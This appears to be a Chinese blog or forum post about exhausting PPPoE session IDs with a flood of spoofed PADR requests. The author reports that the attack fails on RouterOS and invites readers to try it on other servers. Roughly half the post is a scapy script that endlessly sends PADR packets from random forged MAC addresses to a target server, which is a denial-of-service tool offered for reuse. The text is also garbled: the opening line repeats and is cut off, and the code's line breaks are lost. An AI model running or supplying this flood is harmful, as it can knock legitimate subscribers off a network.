pppoe拨号会话链接的时候,client会和server进行协商,server会分配给client唯一的一个sessionid。这是一个漏洞:如果我们进行Dos***,冒充合法客户端,不断进行PAD
.
pppoe拨号会话链接的时候,client会和server进行协商,server会分配给client唯一的一个sessionid。这是一个漏洞:如果我们进行Dos***,冒充合法客户端,不断进行PADR请求,能否将sessionid耗竭,从而达到合法用户不能登录的结果?
我在软路由routeros上测试发现:不会的。当会话建立的时候,如果client不能及时进行用户名密码验证,server会立即回复PADT,强制剔除client并收回sessionid;我并不确定其他的PPPoE服务器是否也是如此,感兴趣的朋友可以测试一下
***的python代码如下:
from scapy.all import *servermac="74:74:33:71:6b:4c"#这是你的PPPoE服务器的服务器mac地址,请酌情修改def mac(): import random a=[str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99))] b=":".join(a) return b#定义申请sessionid的客户端mac地址.def packet(src,code=0x09,len=16,macdst='ff:ff:ff:ff:ff:ff'): a=Ether()/PPPoE() a.src=src a.dst=macdst a.type=0x8863 a.payload.version=1 a.payload.type=1 a.payload.code=code a.payload.len=len return a#定义PPPoE格式的数据包while True: c=mac() sendp(packet(src=c,macdst=servermac,code=0x19))#发送PADR数据包,进行sessionid耗竭